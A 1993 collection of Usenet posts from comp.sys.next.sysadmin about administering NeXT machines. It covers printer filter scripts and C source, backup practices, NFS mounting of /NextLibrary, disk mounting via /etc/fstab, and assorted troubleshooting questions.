don't feel that I have to change what NeXT has delivered just because some other vendor does it a different way (which might be better, but in my case, ignorance is bliss :-) I think this has made living with my Cube at home a very trouble-free and enjoyable experience. -- Art Isbell Cubic Solutions NeXT Registered Developer #745 NeXT software development and consulting NeXTmail: isbell@cats.UCSC.EDU Voice: (408)335-1154 USmail: 95018-9442 Fax: (408)335-2515
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz) Newsgroups: comp.sys.next.sysadmin Subject: rdump in multiuser mode ok? Date: 15 Jan 1993 16:08:06 -0500 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Distribution: world Message-ID: <1j793mINNjh@jhunix.hcf.jhu.edu> Question: Is it 'safe' to run rdump in multiuser mode. Why?: My NSTC can't find machines in single user mode. just curious since I'm already doing it... Eric
Newsgroups: comp.sys.next.sysadmin From: pom@anke.imsd.uni-mainz.DE (Prof. Dr. Klaus Pommerening) Subject: SUMMARY: Postscript filter Message-ID: <F2S0S2J@minnie.zdv.uni-mainz.de> Sender: usenet@minnie.zdv.uni-mainz.de (USENET News System) Organization: Johannes Gutenberg Universitaet Mainz Date: Fri, 15 Jan 1993 14:38:21 GMT Some time ago a asked for programs that do what some options of the lpr command are supposed to do. Here is the solution for the options -d and -f of lpr. Thanks to burns@cc.gatech.edu (James E. Burns) amr@mpl.ucsd.edu (Tony Richardson) N Tomczak-Jaegermann <ntomczak@vega.math.ualberta.ca> Jim LeBay <lebay@mercury.cl.msu.edu> ----- /usr/lib/NextPrinter/comm ------------------------------- #!/bin/sh # 4.2BSD line printer spooler interface for PostScript/TranScript printer # this is the printcap/lpd-invoked top level filter program for ALL file types # Copyright (c) 1985,1987 Adobe Systems Incorporated. All Rights Reserved. # GOVERNMENT END USERS: See Notice file in TranScript library directory # -- probably /usr/lib/ps/Notice # RCSID: $Header: psint.proto,v 2.2 87/11/17 16:40:51 byron Rel $ PATH=/bin:/usr/bin:/usr/ucb export PATH # set up initial undefined variable values width= length= indent= login= host= afile= prog=$0 cwd=`pwd` pname=`basename $cwd` # define the default printer-specific and TranScript # configuration options, these may be overridden by # real printer-specific options in the .options file PSLIBDIR=//usr/lib/transcript REVERSE=//usr/lib/transcript/psrv VERBOSELOG=1 BANNERFIRST=0 BANNERLAST=0 BANNERPRO=$PSLIBDIR/banner.pro PSTEXT=$PSLIBDIR/pstext PSCOMM=/usr/lib/NextPrinter/npcomm export PSLIBDIR VERBOSELOG BANNERFIRST BANNERLAST BANNERPRO REVERSE PSTEXT # load the values from the .options file if present test -r ./.options && . ./.options # parse the command line arguments, most get ignored # the -hhost vs. -h host is due to one report of someone doing it wrong. # you could add or filter out non-standard options here (-p and -f) while test $# != 0 do case "$1" in -c) ;; -w*) width=$1 ;; -l*) length=$1 ;; -i*) indent=$1 ;; -x*) width=$1 ;; -y*) length=$1 ;; -n) user=$2 ; shift ;; -n*) user=`expr $1 : '-.\(.*\)'` ;; -h) host=$2 ; shift ;; -h*) host=`expr $1 : '-.\(.*\)'` ;; -p) comm_printer=$2 ; shift ;; -p*) comm_printer=`expr $1 : '-.\(.*\)'` ;; -*) ;; *) afile=$1 ;; esac shift done PATH=$PSLIBDIR:$PATH export PATH # now exec the format-specific filter, based on $prog # if - communications filter [default] # of - banner filter [execed directly] # nf - ditroff, tf - troff (CAT), gf - plot # df - TeX DVI # vf - raster, cf - cifplot, rf - fortran prog=`basename $prog` comm="$PSCOMM -p $comm_printer -n $user -h $host" case $prog in psof) exec psbanner $pname ; exit 0 ;; psnf) psdit >/tmp/.psdit.out ; $comm -f /tmp/.psdit.out ; rm /tmp/.psdit.out ;; pstf) pscat >/tmp/.pscat.out ; $comm -f /tmp/.pscat.out ; rm /tmp/.pscat.out ;; psgf) psplot >/tmp/.psplot.out ; $comm -f /tmp/.pscat.out ; rm /tmp/.psplot.out ;; psdf) dvips -f -D400 -r >/tmp/.dvips.out ; $comm -f /tmp/.dvips.out ; rm /tmp/.dvips.out ;; psrf) lprf >/tmp/.lprf.out ; $comm -f /tmp/.lprf.out ; rm /tmp/.lprf.out ;; psvf|pscf) psbad $prog $pname $user $host >/tmp/.psbad.out ; $comm -f /tmp/.psbad.out ; rm /tmp/.psbad.out ;; esac -------- end ------------------------------------------------------ -------- lprf.c -- compile and install in /usr/local/bin ---------- -------- I got it from Jim LeBay <lebay@mercury.cl.msu.edu> ------- #ifndef lint static char sccsid[] = "%W% (%Y%) %G%"; #endif /* * lprf.c -- "lpd" filter to process FORTRAN-style carriage controls. * * This program is run by the Unix print daemon, lpd, for * print files that have carriage control characters in column 1 * of each line. * The output of this filter is a copy of the input lines, with * column 1 stripped off and carriage returns, line feeds and * form feeds inserted as necessary to emulate what an old-fashioned * line printer would have done with the carriage control characters. * * Calling sequence: * * lprf <instream >outstream [acctfile] [-n name] [-h host] * [-wwidth] [-llength] [-c] * * where: * * acctfile is the name of a file to which an accounting record * should be appended. * name is the username to bill to. * host is the host machine name of the billed user. * width is the maximum number of characters per line, not * counting the carriage control character. * length is the number of lines per page (total form). * -c means control characters should be printed. * * This routine is normally called by "lpd". The parameter values * are obtained from the "printcap" entry for the printer in question. * * Code credits (prior to official installation at MSU): * * Original code -- author unknown. * Modified slightly for efficiency purposes by "kls", site unknown. * MSU Carriage controls & MSU accounting by Chris Johnson. * Documentation, clean-up, and miscellaneous changes by Mark Riordan. */ #include <stdio.h> #include <signal.h> #include <time.h> #define MAXWIDTH 200 /* maximum allowable line length */ #define ESC 0x1B /* ASCII ESC */ #define DEFWIDTH 80 /* default line length */ #define DEFLENGTH 66 /* default page length */ #define FALSE 0 #define TRUE 1 char buf[MAXWIDTH]; /* buffer in which line to be printed is stored */ int lineno; /* line number within current page */ int width = DEFWIDTH; /* maximum line length for this job */ int length = DEFLENGTH; /* page length in lines*/ int npages = 0; /* total number of pages printed */ long int nlines = -1; /* total number of lines printed */ int formfeed = TRUE; /* =TRUE-->last carrage control was a form feed */ int eject = 1; /* =TRUE means autopage eject is on */ int literal; /* =TRUE means print control characters */ char *name; /* user's login name */ char *host; /* user's machine name */ char *acctfile; /* accounting information file */ main(argc, argv) int argc; char *argv[]; { register FILE *p = stdin, *o = stdout; register int i, col; register char *cp; int done, linedone; char ch, *limit; /* * Crack the control statement. */ while (--argc) { if (*(cp = *++argv) == '-') { switch (cp[1]) { case 'n': argc--; name = *++argv; break; case 'h': argc--; host = *++argv; break; case 'w': if ((i = atoi(&cp[2])) > 0 && i <= MAXWIDTH) width = i; break; case 'l': length = atoi(&cp[2]); break; case 'c': /* Print control chars */ literal++; break; } } else acctfile = cp; } /* Add one to width, to account for carriage control character. */ width++; done = 0; while (!done) { /* * Process one line's worth of characters. */ for(col=0;(ch = getchar()) != '\n' && ch != EOF;){ switch(ch) { /* * The sequence EM SOH has a special meaning in * lpd filters: it means that the filter should * stop (in the sense of suspend, not kill) itself. * "lpd" will then use some other filter to process * characters, then restart this filter. */ case '\031': if ((ch = getchar()) == '\1') { fflush(stdout); kill(getpid(), SIGSTOP); break; } else { /* EM was not followed by SOH, so process it. */ ungetc(ch, stdin); ch = '\031'; } default: /* * Add the character to the print line buffer unless * we overflowed the buffer or it's a control character. * Note: we have to send ESC through to support the * Xerox 2700 properly. */ if (col >= width || !literal && ch < ' ' && ch != ESC) { col++; break; } buf[col++] = ch; break; } } buf[col++] = '\0'; /* print out lines */ crctrl(buf[0]); ++nlines; if (buf[0]) fputs(&buf[1],stdout); if (ch == EOF) { ++npages; putchar('\f'); done = 1; } } /* * We have reached the end of the print file, so it's time * to do accounting. If the accounting file was not passed * to us or we cannot access it, the guy gets his print for free. */ if (name && acctfile && access(acctfile, 02) >= 0 && freopen(acctfile, "a", stdout) != NULL) { struct tm *curtim; long time(),thetime; char t[40]; thetime = time(0); curtim = localtime(&thetime); sprintf(t,"%d-%02d-%02d %02d:%02d:%02d",curtim->tm_year+1900, curtim->tm_mon+1,curtim->tm_mday,curtim->tm_hour, curtim->tm_min,curtim->tm_sec); printf("%s %s %s %s PG:%06d LN:%06ld\n",t,name,host,acctfile, npages,nlines); } exit(0); } /* Function chctrl ------------------------------------------------ * * Entry: ch is * lineno * npages * * Exit: .... * * Calls: No non-standard routines. * * Method: */ crctrl(ch) char ch; { int skipcnt; int channel; switch(ch) { case '1': lineno =0; ++npages; skipcnt= 2; if (!formfeed) { putchar('\f'); formfeed = 1; } channel=0; break; case '2': channel = length/2; skipcnt = -1; break; case '3': channel = length/3; skipcnt = -1; break; case '4': channel = length/4; skipcnt = -1; break; case '5': lineno = 0; ++npages; if (!formfeed) { putchar('\f'); formfeed = 1; } channel=0; skipcnt = 0; break; case '6': channel = length/6; skipcnt = -1; break; case '7': skipcnt = lineno - length; break; case '8': skipcnt = 1; eject = 1; break; case '9': skipcnt = 1; eject = 0; break; case '0': skipcnt = 2; break; case '-': skipcnt = 3; break; case '+': putchar('\r'); skipcnt = 0; formfeed = 0; break; default: skipcnt = 1; break; } if (skipcnt < 0) { if (lineno >= length-channel) { lineno = 0; ++npages; if (!formfeed) { putchar('\f'); formfeed = 1; } skipcnt=0; } else { skipcnt = lineno % channel; if (!skipcnt) skipcnt = channel; } } if (nlines<0) --skipcnt; for(;skipcnt > 0;skipcnt--) { putchar('\n'); formfeed = 0; lineno++; if (eject && lineno == length-3) { lineno = length+1; putchar('\f'); } if (lineno >= length) { lineno = 0; ++npages; skipcnt = (eject) ? 3 : 0; } } } -- Prof. Dr. Klaus Pommerening Institut fuer Medizinische Statistik und Dokumentation der Johannes-Gutenberg-Universitaet Obere Zahlbacher Strasse 69, W-6500 Mainz, Germany
Newsgroups: comp.sys.next.sysadmin From: paul@seer.demon.co.uk (Paul Lynch) Subject: Re: NeXT networking advice wanted... Message-ID: <1993Jan15.085957.2082@seer.demon.co.uk> Sender: paul@seer.demon.co.uk Organization: P & L Systems References: <1993Jan14.212326.4472@julian.uwo.ca> Distribution: na Date: Fri, 15 Jan 1993 08:59:57 GMT In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca (Lance R. Bailey) writes: > In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> > sherwood@space.ualberta.ca (System Administrator) writes: > > > >Don't do this. I don't know if they got rid of it in 3.0, but 2.x > >machines won't boot with /NextLibrary on a non-local disk. > > > sorry, that's just plain wrong. all my 2.1 machines NFS mount the same > /NextLibrary Machines won't boot unless certain parts of /NextLibrary/Fonts are available at boot time. You can mount a full /NextLibrary over the stripped down local version. So you are both wrong AND right. I don't know if this has changed for 3.0. Paul -- Paul Lynch P & L Systems (NeXTmail) paul@seer.demon.co.uk Tel: (0494)671501 paull@cix.compulink.co.uk Fax: (0494)680228 76711.451@compuserve.com
Newsgroups: comp.sys.next.sysadmin From: volker@abulafia.in-berlin.de (Volker Safran) Subject: Re: Weird file ownership problems Message-ID: <1993Jan15.103917.13396@abulafia.in-berlin.de> Sender: volker@abulafia.in-berlin.de Organization: Volker Safran, Interprint, Berlin, Germany References: <1993Jan14.194916.522@otago.ac.nz> Date: Fri, 15 Jan 1993 10:39:17 GMT In article <1993Jan14.194916.522@otago.ac.nz> athomson@otago.ac.nz (Alastair Thomson) writes: > I have an odd problem. I just installed a new Micropolis 1598 1GB disk on my > NSTC, running NS3.0. Thing were just dandy until I moved all my users onto that > disk. The ownership of *ALL* the files of the disk appears to change to whoever > uses it. Even when I change them all back using chown, after someone logs in, > they own all the files on the file system. > > Any hints would be greatly appreciated > -- > You have to mount the new drive at startup time, making a new entry in /etc/fstab like: /dev/sdxa "/mount_point" 4.3 rw,noquota 0 2 (read the man page for mount and fstab for details!) where the x in sdxa stands for the logical disk number, if your disk is the second in your SCSI chain, put sd1a in here (because sd0a is the first). You can observe these numbers at boottime. /mount_point is the point in the filesystem, where your disk will be mounted on, for example /newdisk ! If you dont do this, NeXTs automounter will mount the disk at the moment, anybody is logging in and the ownership of all files will be the one of the person, that is logged in (like with floppy disks). CIAO Volker -- ************************************************************ * Volker Safran, FB20, TU Berlin, PHONE: +49 30 4542303 * * volker@abulafia.in-berlin.de (NeXTMail very welcome)* * safran@fb3-s7.math.tu-berlin.de (no NeXTMail, sorry) * ************************************************************
Newsgroups: comp.sys.next.sysadmin From: wkwong@kalman.eng.ohio-state.edu (Waihon Andrew Kwong) Subject: Dial in setup???? How? Message-ID: <1993Jan15.231851.21361@ee.eng.ohio-state.edu> Sender: news@ee.eng.ohio-state.edu Organization: The Ohio State University Dept of Electrical Engineering Distribution: usa Date: Fri, 15 Jan 1993 23:18:51 GMT Greeting, I followed the NeXT manuals (NS3.0) setting up the dialup modem. Then I tried to login from a PC using modem. All I got were some wired symbols. What could be wrong?? I'm using the PC with Procomm. Setting is 2400 N81 Full duplex ANSI for VT100. Any idea?? Andy
Newsgroups: comp.sys.next.sysadmin From: geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) Subject: Re: Always make backups Message-ID: <1993Jan15.223742.25495@cs.ucla.edu> Sender: usenet@cs.ucla.edu (Mr Usenet) Organization: UCLA, Computer Science Department References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> Distribution: usa Date: Fri, 15 Jan 93 22:37:42 GMT Well, it's too late to help Bostrov, but here's some hard-learned advice for other people: 1) Get some sort of "safe" rm command and alias rm to it. 2) Never combine file-extraction commands with rm commands on the same command line. 3) Never perform extensive work (i.e., upgrades) without backing up first. 4) Never recover from a backup in a manner that risks losing the backup itself. If possible, mount the backup media in a hardware write-protected mode. 5) If you use a shell that has history, never let "dangerous" rm commands appear in your history. For example, type "sh" before you type "rm -rf old-sources". 6) Double- and triple-check dangerous commands before hitting return. Use "pwd" to be sure you're where you think you are. Don't get into a rhythm. 7) If you have a lot of dangerous commands to do, put them into a script before you run them. Then test the script by putting "echo" in front of the dangerous parts. Test it extensively before changing it to really do things. 8) Keep multiple backups so that the loss of one isn't a disaster. Before I upgraded to 2.0 and later 3.0, I made *two* full backups of my disk. It took a lot longer, but I sure felt secure. None of this is intended to criticize Bostrov; I've done the same sort of things myself (try "diskformat wrong-disk-with-my-sources" for a really sinking feeling...). But by following the above rules, I haven't lost any important data in over five years. -- Geoff Kuenning geoff@maui.cs.ucla.edu geoff@ITcorp.com
Newsgroups: comp.unix.admin,comp.sys.next.sysadmin From: guy@boi.hp.com () Subject: Re: monitoring a UPS from a serial port Sender: news@boi.hp.com (News Server Project) Message-ID: <C0wn95.41L@boi.hp.com> Date: Fri, 15 Jan 1993 17:00:39 GMT References: <1993Jan12.014929.21006@murdoch.acc.Virginia.EDU> Organization: Hewlett-Packard / Boise, Idaho Followup-To: comp.unix.admin,comp.sys.next.sysadmin -- I've done it on HP-UX systems. I have a C program that monitors a rs232 port. It logs power fail events and will call a shutdown script when the battery gets low. The program is started by the rc script on boot up. Email if your interested in the details. --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|-- Guy Burnham, Boise Surface Mount Center, Hewlett Packard Co. Inc. guy@hpbs5194.boi.hp.com 208(323-3355) I WORK TO LIVE ... I LIVE FOR TRAINS, and OLD TRUCKS, and OLD TRACTORS and .. Disclaimer: Don't you be the only one to take me seriously! --|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--|--
Newsgroups: comp.sys.next.sysadmin From: unomain!root (Operator) Subject: Keyboard config. depending on the station Message-ID: <1993Jan14.120239.3300@unomain.uucp> Sender: root@unomain.uucp (Operator) Organization: Matra Communication Date: Thu, 14 Jan 1993 12:02:39 GMT Hi, I commonly use 2 NeXT cubes on a lan. The first one has a UK keyboard, the second one a french keyboard. When I log on the system, the Preference application allows me to change the keyboard. Unfortunately, this configuration is depending on the user and not on the station. So I have to change the config each time I use the other station. Does someone have an idea to fix this problem ? Thanks in advance.
Newsgroups: comp.sys.next.sysadmin From: eberhard@nilgai.cornell.edu (EberhardBodenschatz) Subject: slow response of a host in a next network Message-ID: <1993Jan16.000618.6075@msc.cornell.edu> Sender: news@msc.cornell.edu Organization: Cornell-Materials-Science-Center Date: Sat, 16 Jan 1993 00:06:18 GMT Hi! I have the following problem in a local network of my NeXT stations running 2.1. I have one config. server, 2 hosts and one client. I have NFS running with yellow pages. The two hosts are installed absolutely equally, however one of them takes for ever to respond, if you call an application or start a program - it looks like it is getting lost in the network. Did anybody have a similar problem? Thanks for you help! Eberhard eberhard@max.msc.cornell.edu PS: One of the machines was altered by people that tried to install it in a mixed network - I think I changed everything back. Is there something I could have forgotten?
From: dwatola@galway.jpl.nasa.gov (David A. Watola) Newsgroups: comp.sys.next.sysadmin Subject: problems exporting nextprinter Date: 16 Jan 1993 02:00:49 GMT Organization: Jet Propulsion Laboratory Distribution: world Message-ID: <1j7q8hINNk13@elroy.jpl.nasa.gov> i am having some problems exporting my nextprinter from my nextstation to a sparc via ethernet. neither nis or netinfo is being used. the problem is that printmanager refuses to let me mark the printer as 'public'--it won't let me make it available to the root domain because it doesn't want to export the printer to the local domain. i find it very annoying that i have to fiddle with this netinfo crapola (for the local machine) when i do not have a netinfo network... anyway, i do not know how to fix it such that the local domain and / are not the same. hell, i'd prefer not to. any ideas, anyone? dwatola@bvd.jpl.nasa.gov
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin From: mark@cyantic.com (Mark T. Dornfeld) Subject: pcnfsd Daemon questions Organization: CYANTIC Systems Date: Fri, 15 Jan 1993 21:49:00 GMT Message-ID: <1993Jan15.214900.13074@cyantic.com> I have been trying to use the pcnfsd daemon on my 3.0 system and have the following questions: 1. Which version is this daemon? Does it have the features of 2.0? 2. Is there current source available in the public domain? 3. Remote file systems mount properly from a PC (aack) running Wollongong's PC-NFS, but when I try to mount a next printer, I get a permission denied message. The command line to mount a printer is: mount LPT1: \\nexthost\/nextprintername username password Any help/discussion is appreciated. -- Mark T. Dornfeld Voice: (416) 234-9048 CYANTIC Systems Facsimile: (416) 234-0477 101 Subway Crescent Suite 2103 Email: mark@cyantic.com
From: steve@tweedledee.ucsb.edu (Steve Trainoff) Newsgroups: comp.sys.next.sysadmin Subject: Re: NeXT networking advice wanted... Message-ID: <7383@ucsbcsl.ucsb.edu> Date: 16 Jan 93 03:36:33 GMT References: <104933@netnews.upenn.edu> Sender: root@ucsbcsl.ucsb.edu Distribution: na In article <104933@netnews.upenn.edu> shuque@spectre.sas.upenn.edu (Shumon Huque) writes: > I have mounted /NextLibrary from a remote machine too, and it works fine > most of the time. The only problem is when the NFS server goes down, and > you reboot the client machine, the login window does not appear as it > cannot find /NextLibrary/Fonts. Is it recommended practice to mount > /NextLibrary? We mount /NextLibrary as well. You can get around the standalone boot problem by not deleting all of the local version of /NextLibrary. Keep the directories: /NextLibrary/Fonts /NextLibrary/Sounds /NextLibrary/Keyboards These are needed for standalone operation. When booting with the net the NFS mounts masks these directories with the server's copy. Either way it works fine. The added directories only amount to a few MB so you still get the disk savings. -- ..STeve ------------------------------------ Insert pithy maxim here... steve@tweedledee.ucsb.edu (NeXT mail)
From: scott@nic.gac.edu (Scott Hess) Newsgroups: comp.sys.next.sysadmin Subject: Re: Always make backups Date: 16 Jan 93 00:34:08 Organization: Is a sign of weakness Distribution: usa Message-ID: <SCOTT.93Jan16003408@nic.gac.edu> References: <1j65vmINN5ns@flop.ENGR.ORST.EDU> <1993Jan15.223742.25495@cs.ucla.edu> In-reply-to: geoff@ficus.cs.ucla.edu's message of Fri, 15 Jan 93 22:37:42 GMT In <1993Jan15.223742.25495@cs.ucla.edu> geoff@ficus.cs.ucla.edu (Geoffrey Kuenning) writes: >Well, it's too late to help Bostrov, but here's some hard-learned >advice for other people: Good advice, but here's one more: 0) Get the machine with the data that's most important to you, and accidentally nuke everything in sight. There. Now you've gotten burned, and the likelihood of you _ever_ losing data due to simple stupidity has been reduced by perhaps 90%. In fact, this is where I really wish we could start _anyone_ who gets a computer. First you give them enough time to generate useful data and build some confidence, then you ask them to do something that they'll screw up, and tell them that that was the _only_ copy available ... until you've totally nuked that data, and felt the sinking stomach that accompanies that event, you simply don't listen to sage advice from those of us who _have_ lost everything that way. It's like telling a kid that they are going to get burnt when they're playing with fire - a mother just doesn't speak with the authority of a pair of singed eyebrows! [Context: Yes, I've done this. In fact, I pretty much nuked two machines, one of which was a cube with OD, 8M and no hard disk at all. Worst thing was, I managed to nuke it in such a way that most everything kept working until the next time we rebooted ... luckily, they weren't my machines :-) (Hi Geoff <different Geoff than the quotee above>) Nowadays, I make backups in triplicate, using different backup techniques (tar, dump, afio) and different media, if available, _and_ upload the very most important couple meg to another site. Perhaps it's paranoia - but consider the risks involved. If another couple hours will remove any doubt, then I'll spend the couple hours ...] Later, -- scott hess <shess@ssesco.com> <And my trusty sidekick, Decoy> 12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin Subject: NFS manager - does it work? Urgent help with exporting. Message-ID: <C0y593.Lu9@newcastle.ac.uk> Date: 16 Jan 93 12:27:03 GMT Organization: University of Durham Does the NFS manager included with 3.0 actually work? When I use it to mounte remotely exported nonNeXT-machine filesystems, it only gets about 50% of them correct...if I open a terminal window and mount them by hand, it works just fine. Also, I need to export a directory, but can't seem to get it to work...I opened the NFSmanager and exported a directory (/tmp/backups) world read/write (I know, crazy), and like the instruction said, I rebooted the remote machine...but I got this when I tried to mount the exported directory: mount: shrug:/tmp/backups server not responding: RPC: Program not registered mount: retrying rpcinfo on shrug (my NeXT), didn't have nfs running on it, as can be seen on nearby suns... Help? I drastically need to do some backups and this is the only way to get it done effeciently...thanks!! Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE SUN Computers: "Nice chips, shame about her OS" "If a virtual tree falls in a virtual forest, does it make a virtual sound?"
From: S.A.McIntyre@durham.ac.uk (Scott A. McIntyre) Newsgroups: comp.sys.next.sysadmin Subject: Sundiag for NeXT? Message-ID: <C0yAyn.v4@newcastle.ac.uk> Date: 16 Jan 93 14:30:23 GMT Organization: University of Durham I had a chance to play with a recent version of SunDiag for the sparc yesterday and thought how nice it was to have everything needed for system diagnoses in one package, taking over teh screen, but testing everything... Is there anything remotely similar for the NeXT? An all in one diagnoses package? Thanks, Scott -- EMAIL: S.A.McIntyre@durham.ac.uk OR scott@shrug.dur.ac.uk (NeXTmail) SNAIL: Pyschment of Departology, University of Durham, Durham, DH1 3LE SUN Computers: "Nice chips, shame about her OS" "If a virtual tree falls in a virtual forest, does it make a virtual sound?"
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: rdump in multiuser mode ok? Message-ID: <C0yIDM.A3q@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1j793mINNjh@jhunix.hcf.jhu.edu> Date: Sat, 16 Jan 1993 17:10:20 GMT eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz) writes: >Question: Is it 'safe' to run rdump in multiuser mode. >Why?: My NSTC can't find machines in single user mode. It depends on what you mean by 'safe'. It is never safe to run a dump in multi-user mode, BUT: if everyone is logged off, and you aren't exporting the filesystem that you are dumping, and all non-essential processes are killed (including sendmail and cron, just to be safe), then you are relatively allright. Chances are slim that an important file will be touched. The only files that might be corrupted during a dump are those that are changed. As long as nothing changes any files, you are safe. By the way, most people get away with backups done in multi-user mode. Less human overhead that way. Our big mainframes get a once a month level 0 dump in single user mode, but all of our workstations rely on a network backup system that uses tar to shove data to a remote server with exabytes on it. -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin From: ed@talus.com Subject: Re: Weird file ownership problems Message-ID: <1993Jan16.003200.1160@talus.com> Sender: ed@talus.com Organization: Talus Corporation References: <1993Jan14.194916.522@otago.ac.nz> Date: Sat, 16 Jan 1993 00:32:00 GMT In article <1993Jan14.194916.522@otago.ac.nz> athomson@otago.ac.nz (Alastair Thomson) writes: > I have an odd problem. I just installed a new Micropolis 1598 1GB disk on my > NSTC, running NS3.0. Thing were just dandy until I moved all my users onto that > disk. The ownership of *ALL* the files of the disk appears to change to whoever > uses it. Even when I change them all back using chown, after someone logs in, > they own all the files on the file system. > > Any hints would be greatly appreciated > -- Well, it looks like your Micropolis is not being mounted at startup. It is mounted when logging in the first time. What you probably have to do is just add an entry for the disk in the /etc/fstab config. file... -- Erik Dasque "The French guy" Houston (713) 561-0700 V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin From: ed@talus.com Subject: Re: How to change language (loginwindow) Message-ID: <1993Jan15.231946.700@talus.com> Sender: ed@talus.com Organization: Talus Corporation References: <1j54vpINN53i@network.ucsd.edu> Date: Fri, 15 Jan 1993 23:19:46 GMT In article <1j54vpINN53i@network.ucsd.edu> wade@hobbes.ucsd.edu (Wade Blomgren) writes: > > A user got to one of our turbo slabs that had just been upgraded to 3.0 > before we did, and mischievously set the language and keyboard to > French instead of the desired English, in the configuration application > that comes up on the first reboot after a 3.0 install. > > I managed to find the right keys on the keyboard to feed in the root > password and get in, and I changed the root prefs to USA keyboard and > English, and now it seems if the average user logs in s/he gets an > English environment, but the loginwindow is still in French. I > rdist'd /.NeXT and /usr/lib/NextStep from a machine configured for > English and rebooted but the login window is still in French. > No other likely files presented themselves in an rdist comparison > of the tow machines. > > Suggestions on how to force the language back to English would be > most welcome. > > Wade Blomgren > wade@hobbes.ucsd.edu Ain't french better though ? It brings a little spicy taste from the Old continent to your NeXT... --- Erik Dasque "The French guy" Houston (713) 561-0700 V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed. -- Erik Dasque "The French guy" Houston (713) 561-0700 V.P. R&D, Talus Corporation TeXT-mail/NeXTmail:ed@talus.com Where do I sign ? Here ? Oh HERE ? Here Right ? Ok... Ed.
Newsgroups: comp.sys.next.sysadmin From: lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey) Subject: Re: NeXT networking advice wanted... Organization: Robarts Research Institute, London Canada. Distribution: na Date: Sat, 16 Jan 1993 14:51:03 GMT Message-ID: <1993Jan16.145103.23893@julian.uwo.ca> Keywords: n References: <1993Jan14.212326.4472@julian.uwo.ca> <1993Jan15.085957.2082@seer.demon.co.uk> Sender: news@julian.uwo.ca (USENET News System) In article <1993Jan15.085957.2082@seer.demon.co.uk> paul@seer.demon.co.uk (Paul Lynch) writes: >In article <1993Jan14.212326.4472@julian.uwo.ca> zaphod@ctrg.rri.uwo.ca >(Lance R. Bailey) writes: >> In article <1993Jan14.200048.11755@kakwa.ucs.ualberta.ca> >> sherwood@space.ualberta.ca (System Administrator) writes: >> > >> >Don't do this. I don't know if they got rid of it in 3.0, but 2.x >> >machines won't boot with /NextLibrary on a non-local disk. >> > >> sorry, that's just plain wrong. all my 2.1 machines NFS mount the same >> /NextLibrary > >Machines won't boot unless certain parts of /NextLibrary/Fonts are >available at boot time. You can mount a full /NextLibrary over the >stripped down local version. So you are both wrong AND right. sorry, but there is NOTHING in my /NextLibrary at boot time. ie: /NextLibrary is a symlink pointing to a directory on a NFS mounted disk. i mount the partition from rc.local, the very last line in the script. ls -ld /NextLibrary lrwxrwxrwx 1 root 22 Oct 29 11:47 /NextLibrary -> /usr/local/NextLibrary ls -ld /usr/local/NextLibrary lrwxrwxrwx 1 root 30 Dec 21 11:20 /usr/local/NextLibrary -> ./alex.ctrg/NeXT_2/NextLibrary ls -ld /usr/local/alex.ctrg/NeXT_2/NextLibrary drwxr-xr-x 14 lrb 1024 Dec 21 11:10 /usr/local/alex.ctrg/NeXT_2/NextLibrary df /usr/local/alex.ctrg/NeXT_2/NextLibrary Filesystem kbytes used avail capacity Mounted on alex.ctrg:/u1 103329 84561 8435 91% /usr/local/alex.ctrg/NeXT_2 -- Lance R. Bailey System/Network Manager Robarts Research Institute NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr. vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
Newsgroups: comp.sys.next.sysadmin From: lrb@alex.ctrg.rri.uwo.ca (Lance R. Bailey) Subject: Re: slow response of a host in a next network Organization: Robarts Research Institute, London Canada. Date: Sat, 16 Jan 1993 14:55:55 GMT Message-ID: <1993Jan16.145555.24084@julian.uwo.ca> Keywords: n References: <1993Jan16.000618.6075@msc.cornell.edu> Sender: news@julian.uwo.ca (USENET News System) In article <1993Jan16.000618.6075@msc.cornell.edu> eberhard@nilgai.cornell.edu (EberhardBodenschatz) writes: >I have the following problem in a local network of my NeXT stations >running 2.1. I have one config. server, 2 hosts and one client. I have NFS >running with yellow pages. The two hosts are installed absolutely equally, >however one of them takes for ever to respond, if you call an application >or start a program - it looks like it is getting lost in the network. Did >anybody have a similar problem? i had 3 'slabs on the same piece of thinwire that were NFS sharing from a host only one repeater away. the host closest to the repeater got NFS timeouts on a regular basis, no other host did. it was like the etherport was flaking out, but network inquires shewed no lost packets. NeXT replaced the motherboard, no problems since. -- Lance R. Bailey System/Network Manager Robarts Research Institute NeXT/email: zaphod@ctrg.rri.uwo.ca box: Clinical Trials Resources Group fax: +1 519 663 3789 P.O. Box 5015, 100 Perth Dr. vox: +1 519 663 3787 x4108 London, Canada N6A 5K8
